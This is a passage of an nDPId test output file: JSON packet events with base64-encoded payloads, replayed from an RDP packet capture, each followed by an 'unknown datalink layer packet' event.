"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1585,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1586,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":608408,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9HplHoDiOUBggAGdiAAAXAwMAOOAIO32NJwwr4rS+xlWEXa+KbMBT17fbSteSi04cfF+545QY+36yU36fICmNPdCXxC5gkK+3t47E"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1586,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1587,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":608722,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HtZHoDjDUBAf\/qqTAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1587,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1588,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":608906,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFizkAAfwYiCcCoAo6sEAK5DT3NDkegRav5vRzuUBD1MourAAAXAwMGbwAAAAAAAAIFk\/5ne9gDiVNFZNiaOfRezNSxeHTuGBx0VFeGb\/YELqS41QxaedCcE1vJN8tRszjF3J+EYTLhSTkBEZB6Cv5n+Mn9RkxrOufDFC0sShERAPzxPmUQ6wHIsxV4oVI2L99M3VEGs03NkIrKVJd\/1ZzEnEjDb3AKuFLFrj+i5pXzgm+xvuFAf8Y9eLTaZT6A7OSRV0xtBHC+0SnCMHvAfSAFXOP1kyjQd21rV4Uv4WpGiITuCuLlapmQ+ebFArGIQvNUjSyte96GllWFI9WGhkcS3eeFUb\/lCklerpaKPiB5+HX7RkrZOCGHvCBYXVjev80ZTsJsOSF0C5qC2nTNh5yMwxXlDpDRG\/\/2GH6T9BnC+iYMNr47DHYviaBU6lpXas7tX7HQqw8shF5nv\/gBdVqwZVOFsSGD1v1MV3YzoacEallyX9W1J6M5Jum8Z966ZN4tDj2omKEuwusJp17x9C3zLJ3utyEsvM6MCRSv3Ag+Nez9peZ8Ob0Kdaj6CBhHLqhyrA9\/k0ky0\/pn1qcNOPFIZBYy8NbL58uw57FpaEvV5qmmkVCuqUQBltdDVSHOuZRVOQQz3X3Q6QsJ0QoCtS1kgVbhG9xTc5JULuDzL+qXAMnO5W4HZSyXWqOEuVLc+35yY34hr3mBraYqmBKoYnLp7ADpB7i+k27La0HIRk2t2lVAf55VkfuIVUqADPCnRN8cKf09f9n1PPIDxRa8euKKvxe9xiIVS339sWcjkjAMXdOucR10qjWbdCJaNChI7ldaa5l6MFCwmDhwYI6WygP8AOTWnzKsY\/tqSq2CZt2D0j0umqRvOZ7cdImfA+ejmXZ2eP6vuHwPewMY4XBAxXERzh6eogJAJ4TbAFjpfZvBVQBopIqbL2p\/yLXTki6Dqagyz54cZzPTzpKnSS3FX8WJpYsOg2GZ8vOdFvWX9UyF4R3nKeYKxieRRYhc5vNDaR50+be3jLXEkf7m7LBSON5gzjxYFq\/L+9myo2E3G+XFBNKG70b1wiea24PImYb8UmBgdECgyoKsAhJ6LfxPAiRBODyif4L9pHIyKSd5yapJqA\/7ch665isyTYyMxDJNsChiAVH+T3VM3NPu2oNu1Xa8eJsNQ1LShe+RUqH7rYAbeWqKSrH7p8lOT2RLM1kFINjkP3F33bRy2YFfrFa\/18OJFTwaLfdPF3VXtubf5ZcZtg5Pmi27tw4fUoqNUnk6GC8Rsb32khLEqq06GdT1XvoqjlNXbhvIkHf19smae3bMUc15U\/K9EMbek8+chgQNnFi4EoIbuLKE0AZhJzl9xss7r5ahtHPZc1uch69cMCZjo7pbwQQEZjQYexK2ezRR5CQfeN4KG7bL063PIeZv8alLbWklJSFhW409NRQbn3FfL\/EuVaxViSepAgg\/TLogX+fazfmFFK\/5z\/L5jMp0eNKvf2A5PbJfAh0IPQ0z7JYN3C8hV982RKwFgIYyEhe53cVXagRELK6GVLfiCDikHDWZfhLn\/UftcyZQUSMNCy4GADQnH8u4hXK3Tve6kdfPZQUL7kAcnMtFTjuCUdE+2FNZSOwb0Mz51k1JnWjF3fp60Gz1vfwnixKskdSB2ks9zj31iZ71e5G2jTCLkydfSlLU2HDZK+Hxv5zHJRuc8+XEcBlsCy\/Ebt9Ul1\/MdUb4a76Pvmaj03RkkFHXR0O8"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1588,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00873{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1589,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":608953,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiz0AAfwYlhsCoAo6sEAK5DT3NDkegSqT5vRzuUBj1MuEeAABAF7LJafgRHLZrZRvyjqu4vKao6GoZDyBHqJZ6yOanoD8kBNinYRWJRUvxRBTVUVw\/8FsXA5VUFGmHVZ7O2rMmAxQxnbDBhrwwztbMi3\/bgHiRgz9JFZvGlssKsMhxR1hIVXlALNztXlg6nITA2qShoddr+DShhYJlcsNSDGCh\/52K7yGr5SH4z6uHHY9oig4AaPGJ9CvM8fpUm\/czMFxjFXyP1bbsOF7mOzgZpn3H6ynfJXbvKbBZQcBJ1tfSsTcRxh3pbVYW2n57dGCW2irBwZviEhO2z9Eh7oABZeXMddGPwsP8oflhuTFfjqRd9lFLR90\/W7UbZTDoZ0beEB63EKQ4+rdukWr4GvbKOnb\/44\/HorjXfitjaD6cKxFiedWY\/6vFkLdAC\/BIEFSlu+\/Uuvsjt8belMJnhyKTp1374e\/iXe9mRMnoBYFwBQqz5j\/dv8y3\/KtKgYH+CwfF0L\/OZltAM\/Nta16tIIm5mgOclgsjKye\/MoVzzb5D"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1589,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1590,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":608972,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HtZHoD83UBAf9KQpAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1590,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1591,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609316,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HtZHoEWrUBAf9J21AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1591,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1592,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609422,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi0EAAfwYiB8CoAo6sEAK5DT3NDkegTB\/5vRzuUBD1MuUxAAAXAwMGbwAAAAAAAAIGyzwfpQEOc3P0+kOJVTt3LLN1qVKASXo1bT5re+tUQCMHzIytg4i4VliGwSOA3Wcz0qNyRwFR03WHz8X+uAQX6Lk+HdmMkjAH\/\/ovKBuzIw1ci\/8NdSGdyPP5eYcRBZ9GcQarzYGoDpv49BiwnzKdIdym\/A0lztVUYZIM5Cn6cgqB1iZylb9rVxPNd2vavLzWTIXg9j4wVCWEPc8JaRcGltnrRY+XdpzzefEEEFF7eYZg9lbjG50JBLO7FlY0zfXwiworeoGvtDVFfqf5aG\/gDPYSJgDfVG1JXESDNR8qA+rZWyBRM4dAKS1dmGRC2utGUD5jL0WNQ0Kcjg8QN477lvhuQRh5AHaBdrl\/oS1G5\/dddw8z8fmqAO5husBhpoajmPUJFLVohQfAAhSEqYfCSSexyxqN0ZA+7VJgWMGeGVbYd2UEiHTbcqke63i72OyC\/wuP+zHEKIaVYrQW2x9Mk2hZpezVYVWuqONOinysXZMPkrEKfcFgr8DLMWVejdxyLQLDzxnYc2cAxbHl7Q4QEYp\/7UvFJYcE5h5bk+DwwvR\/U10zCX585Vkq9pnMAeH3ZYW93Of0SSCVaqVdNMPPuFVkjwW\/8RoJAEOoj+P7e2NmQi+8rcD+9qipvVCyOgm2aEXbBMcZcyFe05Ebc5sqOecb766uBaehTqkeMr1kOOI1+7kXu3bfBXU\/AhsAAs1HBB4cWK\/e94nBx89dA75VC0l4rlATcqmoWuKqhQ2kqx1yRAq9vxS+SItyL8fXZm3mV2yvXqgRaggcCo2Ygr2GW1NDeK44ycvgAuoZJe2S+Ebokmjr160Lj7JC7dpTUGVAZbjpl8OH95oViPF9A2tMljhirWqH6aEA83AWyERcbf9l0Qt2Z3e8MJvPA3ogFTPAqKwl\/uq+Gm3eJYeznOiE33Nr9z94UbNuTx7yI\/9xD57ATlmDHnTR7k0x3Z5abOTTQUyZWBWSJ24KR2ry\/d9QwbZTem2B90RXHhqtmJqg7PY+\/tON2L1iIEo2z27VzxTm5ZlMKNLyllAnpviQCPv8Y\/06MkbKxRA6QcPRnJDb0GXyDu27\/vCBqWR69UpBVdBqHjnqtlUXkTlnZKPF11mXi4ZJanl78voUKxYHDuGnYXsUCV8QYmSp4R068VYIXJLs1PFt77wW0tUGttVZLfjqUhK60cxqdlQXQJ9VAgZsyjQEeAQmlSU4ZzsXlEDCYGudmg3xOkZ\/5LUN3dsnFBI4HbJFwNzqEuipgIIo\/Y17BMY+641Jj8YdzFQatuGiXZgrVB7PRNurYsOR4vfWjuMEaGHdEG5ztuOZ9kNDDeaGQg\/YLCvnF\/alODLptWjDe8fMnUJ1l8DViXcRjrwgbwgdnx40uP0mCnkeEX4ci1b66q5eCyqPKXAmX7pbVb5SgGgKpAV+vtKYR8jjcbTjeIZjoxENsrpQiPOckA7TskjAYYJKk4H6oXeqwMDtTTMFlls+gGLjDX8ZAk402KSAd7WG5OLe\/+QFo62lo6r0nrLwOA5Y+zCzCzJO0eaz4h7i0gRvsf4phwOXekA82GrUSo322qJ3NmJYOnmv7y\/8JjRg+j9Zzi5XcIJbzANm4VoMCxSm2SiQiLgNftzn5NjeixGZC+DiaTmTIpUsDQH0NZrCjsjaN2USTTIF17QgunI4cdljxplifgaQaYC8venz"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1592,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1593,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609495,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi0UAAfwYlhMCoAo6sEAK5DT3NDkegURj5vRzuUBj1MlW\/AADXnfqp6\/xVXvDWjNaT8EmgWNzy\/OxoKodRY4b4Apw6tri3DgIGRrrVwde87qK6drRsAKo2TjzDl8rm8W70UNz7g3nrdI5uUw7LUqiCw68LHJ8boS0oPoQIdhuxCZnHmrnDlk7q6VKsQMqOHlC805WpdvK+4XrLsQIRx7LN6APD1THX79LmDT6zQd\/Fn97uWUvD88RqRPndlbdLbt4q43AfLDxgVPG08t7zngdmM83pe96uCY3Dh796wgEp6fIDN1oXsUNt3aVYJQtfhAkjTD+B4UK+sWt9TmxRWXR9UTjRBoQETr\/dXQWjiTrBeNnQyu+ij2bKkR9AoWqUiJnzf4wrvkiWn3eoQwtPH4nltnxSWdynNewwfKWgZGy\/rcWgwodfpMyYsE4XlpMdE604OW2JA\/G1OCC3T13ZQ7XHPiNs9yAubmV3zr5+TXhCigESnYabCMiqmIxn+NHH7diP5+b96CcVi+b8PjGvKVtc9JFV2dtowJKfnM7iOljw"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1593,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1594,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609535,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HtZHoEwfUBAf9JdBAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1594,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1595,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609734,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i0kAAfwYmycCoAo6sEAK5DT3NDkegUpP5vRzuUBj1MjmIAAAXAwMAMAAAAAAAAAIHwvem57uPJ6cV1czylM+LCFfV67WGU9N6xQA6mlko2Q+pUZKKO0kWKg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1595,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1596,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609784,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HtZHoFKTUBAf9JDNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1596,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1597,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":609942,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HtZHoFLIUBAf\/pCOAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1597,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1598,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610087,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi00AAfwYiBMCoAo6sEAK5DT3NDkegUsj5vRzuUBD1Mlx7AAAXAwMGbwAAAAAAAAIIsxUxC5WvcsX7HfbNX9Sv6nHmNfxusvNMIlYmxHkAGsJzivVqtisCJqrKp5Z8mN+MnumSLX+c5XcPxRXavbhXg2oZSIKK71i\/eoqpFOYSWQxiZ8pPTfV+uDKnynqipdoir5Y980YKTfRlf6f2QDxFEnWnboGsRQQHtfABbf3pQwo1Nsmd0VXtuJLBMPEf8K\/JPpdqFchKJoEvovmd8vEojrQ1AjXvT+8onSzdcZBZ75pBfbJeYRl+8KIeepPuU8n\/9Vc72ajQvCGuhIDKtoqbWpGqnyz+NAzgvOa3EdAe4iAY0b63pIxuQmJIPu5\/YPEIp5Pv3wMgS8LvG5RcDm7+M3Pq2cyDgO2Ub84zr8nyn\/SGAlzMS8i0W27\/Bj6InEGrJyZEjfrDymu2wPDkVeuiRKEMBWciVbYj1q5dhdSlZtN0hLV+xhU4orq4BK+al3+xbWDb5cXZk7v+W+XWpGfQQa9sZDB0LAjwuQWnwKTHNkWQ1wKx6l\/\/\/tYmobUvpjVZoY\/Pd25pVfPffznzQhS3TG97arYdYFnW+gwURkYuwQIlecZOlG2G1O8UQMu1I7xpn1mQLmvNbDf8RkG\/j5Nt8p\/ogRmYvyOcSjz1BThS6P7Xov1tCkCKtVXnxiYKNhcLgt63RsG56org\/9aWofxx4ikgv0PXPoBLy6NvqOt70DhMTLEw6oOjm3YNK1ESac00ktbdbuMRT7P9Zl+0K8rrZwMzINFe6np7Hm+YcculqclVQOfLQfyJ8fFj3dnY3F249LszmEvF7dKoV8BUdRVutxrUwlpkUYwMaSiueRMVKtHcpfo97xbD1ZVSxfvDD7UZtxVnyB4cDLKPTP7yHg7A2MVWpMIXBg6xAfNQGzfUa87kO9ph9cXG6WGsbRxPgA5q6RNnL4lLxwmC8pV\/jFBJouvZN1vpPN0LLai9kjpfaHLdL5OHAi\/WSKd0qr9su3Kmag3LvZ3wz4FVy2efkoGg37aK2erVzftnkDO+6CV8wblCbUE8floNRaOrRkRBAvKjaxXiRtsj8dmie2ThOPdTz3E01hPvJpU82zPU52x40x37ztyGHF7RfT9S+bNqw6BNhi5iwe4pC9POfPNJXnTK3EmYlOBYhgYKIpXKtAj7gCvBQh+1NmWbN6HOkIenmliItkGObYSrteTJbqMuJSS9oBPxL2tlHmqYZAAkquChLt9Q07g+0pJUUiNqgS9LBLWunxIR74QnLUGaftvYWPsW0WI2OadK\/uh3fDot2\/EmpKzYJCCC51WDrxhcyg4GCrj0797Y8DsMfVj0HtOCl7N+5T6t1u6OyMbPJVM2OKBcIwmo5OLb+krDEslszJhnrGCH4PHki+auXnSS3IXl14ZI0OUEKrQEaI3NAeY82raPMckNpvRtF5m+N6Kk03xsvZdiOy4KyLjEn\/LrGui0sAcKhYsrX06oZdRp\/LrrHSMmuGfhRMagoeSqCk1LohbtZah5riIWiS1rwNn6PPOi0tYs68eQmCFndi\/OF5w77yffoqpJM1PuESAiPwgCwGDDugioxngw1XI5iJNyu1vF1AJKPDQElRTsMnOLUmiwZyVvGurB2tS7mxcmGB7mJG1rs5cIR92qRdqvzC7itwyysjvV92g+4icoj4wgT8Br9B\/xf2pYKhtEqwHKOHXmJDk2o3XsllpjugfCbgz4fBlJ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1598,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1599,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610153,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi1EAAfwYlgcCoAo6sEAK5DT3NDkegV8H5vRzuUBj1MgjXAABLpq+E5MJz8asAnj7Iv5BAzGUxdKRdQ7oU5ZBfJkWu4Ej9OPq52mbVDk35gs26X4XSEDsoX8o0T9Xcw\/I6hCyBbbO3hYmduBa1boYzed7jaA+yMH6Qv1LRr+mHJhQw4llVPQM8m5cC3xjep246sDbEA1OwPDcfhvu0bTYFVPgUPx\/qprchZPjUH6mB75d20HD9zdxFHIztLC+rFH21KXYcEMhjO+ysjkxA+uUURW7l\/dzVcI2ACQx0\/afcE2Nnp+t2B4Qp4WosZLS\/ZmrCq4feVQVYrHsLeD0u2kV7lm9pxPUjzhUr4Y0YxJpX3Wjxd\/rk1RTcJeTO\/mGk1TiL6xmwYEY5nZ+lQ+PtCOaCd6+\/oZx0wvTD3weigtbt34dLETbiLchw8ISlbGG3G56UKR0+WiPsUz9Jc5zVrdsGH+PdoshaRGR8TEMkHPfB0zixwlSqgI\/iv2MSoziHuZx1R41ln7i+lZb1WwTY9fOyGkv\/4LLE79JFTzj4iPU+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1599,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1600,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610173,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9HtZHoFLIUBggAGh3AAAXAwMAMOAIO32NJwws\/Hgoq48roQC5EQDxEGouOMoxOzThNspgHmTFS5tU6UPh+7uCfKieoQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1600,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1601,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610413,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HwtHoFk8UBAf9InvAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1601,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1602,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610561,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi1UAAfwYiAsCoAo6sEAK5DT3NDkegWTz5vRzuUBD1MiBEAAAXAwMGbwAAAAAAAAIJ2eNas\/dBGuugphLM4apqWaEJ2cEwKCnSPuH7R93sISJitdVWLkz1xp963Gjmuk6qUk2eMmhHz3usmoQJ6M0GNeo89OlS4kUQVUhOo7cYREf3Oc20vxAD89+NA0fq7cZi3hAvAy8WzbDWOHNngbDgsuxa5Qd5VEwIs9hz\/zvbZj5laHUBvxpAdFY3FzWLtjXjS6rk3OCDEtDIpCRm61\/JNOBvM45UfvdoR6P5Erb\/l+cUSYX83seWyOyUsa1XjCR3CNkiscF3n1wcAqyCoiyMiwDSGiPmVepDilDtVxyAlpprYk\/eFOt8kPSyelu6UBtfkE8LKcKTYF4VnFtqDKySQssNDJNbXNp+NmsVntgGQUEAq14qhsIRrm1Z7dt0h7cIvcxjhqQrHYZEg1vbV2vSozphN7oeHg1mm0rg8q5aPVvhneSb98FnRZAyMHcrlizIwlb\/eXrXR8GZY0BKoG+t5quS0ojL13a3tBCzO+TvWrHq5zIpapUjpr7GZWS5zG6CUc5vgEfjXPGoN3qcZDdMj4lix75XcRO9xnvFY\/YJ1wE5q\/rSJCzgqQurhlhDiR5wOytycUkTwoiWFwkFoTeYFv2GDrw3K1Kw8DsP\/Xh\/QoNErUaZVC0mT\/zCarFsmDNMPxV6Q3qMX6RhH0zdSAfhz7JSdmV8+jmqd2Ti5lkia3ZDO7\/QFVvgTqx\/8O+Vu8+V9tqGukFjIfBA+62jGKXybk4ZhNdd3zqIujoEH8VUMY+3MDzqd2ADbAtzQoxq0LQ4KdC6C4tT+\/QUjzC695tf9OefKwF2BjoEET2DdXqw8cNH6bH5zro2A4REzSUevxKvdPYswCd9dgG10qqCMnPpFaEmf5pN5jQ\/0JW+Wg8vf08a1rxpV6akk32VjT7Cg7RD03zCtywjxr4rCzVfsnYXtzraZAtGJTCLu3to4W9zpLzU0OU4J42x8D6BRRMFJWh3dlGXEje3jsHoSMJ5\/piKasxOeztmwKPdB1mPsO9YqHHANiPNHdkNXfZmwM+ljaGvIjPGQPVCJpiktVuIdF2V5vxfad+SEAZaj\/9bPDQG5zAibQQKDZ0IiF6Pf7cXHQ+qzsqpqLj7YtbKyeMEwQpmhomnLW9niaHEhskRDwntIWPsuhdKdpjrjF9tvOtDkVWdXnXISbRFRhKE6uKxmfmZvRnuUATdlEtUSW5xs3jeEL9z7zdm2GcF9kWfEbIhrstkJ3O+R\/xalDBIaU6isGY3zobzqF3M\/pMZ2\/\/j959THvGtOWRS8HIeNhPcP2moBHgpPQFLtgpzgPw1NYeYGRuxsRQSCvLp0bY+UBaOFEia4tovVXi+fYLLYpguyvVTSlwC7\/8OyJskgfZlutRkdr9EgpBS\/F5jlFPOehE9gEZQUD2EobquhIwgeRF\/w+LYLo0KdMI8HW+cmUYHt64a4GK18KomFommpKGs0oNJUItkk68jwYAb8Qv79V8+yuW02XQpWHjrMImMgEiRUHScgl7Fljsec+SpuTwyMiYtPhafuJFvqdTpe1q1yrr3Tuy\/nQ7b5e3ERa9ix5CI45cB+BMixKEPeWYeSzU+QowkJSL2\/8iUaT4irbyBU+0acK7OAD+NlfIAl9JdiJgGKEvfStp3S71so+ejFUd8+icSCxyvij59QT68UnQXL6jHVyAASxIi9qh+bLr\/izcSh7gD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1602,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1603,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610624,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi1kAAfwYlf8CoAo6sEAK5DT3NDkegXjX5vRzuUBj1MituAAAmRm5gmbxVgQJFpZArEUQYn8aqb\/lbP5Qc2QbHRP5VmcjSR4uS+suCLegbtY4vUIsnbhqgHEFYWrSW3o82wEOB6I9icY3LBGfhuaJWdg29+TMvsrdlAyC5UObYvhwcdarMEDoZDzO98DONSezwNW9841BcU9kDYolG7s1S3+DMeqGS\/\/bkFjkHUuJDIaU8EP2aS8PlDkc2AeYApeLumlgD86sXG0Usi562TyTjM5kzUsj+EGgBgzKI38ANfsoUze2ELjYG0fee1jMnX930Xl\/+kQqjIchmdHvmXr7z3dafyHlm0YiRKyoyTjQVYS07NJY3ihxmD324S3jm7fhgW8B57d6NfD9JMII5VIIAl8P+ClKo9sjTXG6B57ZUs\/yANiEhBTTs9JoXxCaNmFcb2p+c8cuv2Vvyd+UZscLxQ7xgcxBrifgqkQP1+HeuzJYqm44QFp9+zyxSlqt\/kMH9k5ZkU1MSpr\/7atR0H56ick3r+GCGW2VDz+FdUefd"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1603,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1604,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610742,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HwtHoF+wUBAf9IN7AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1604,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 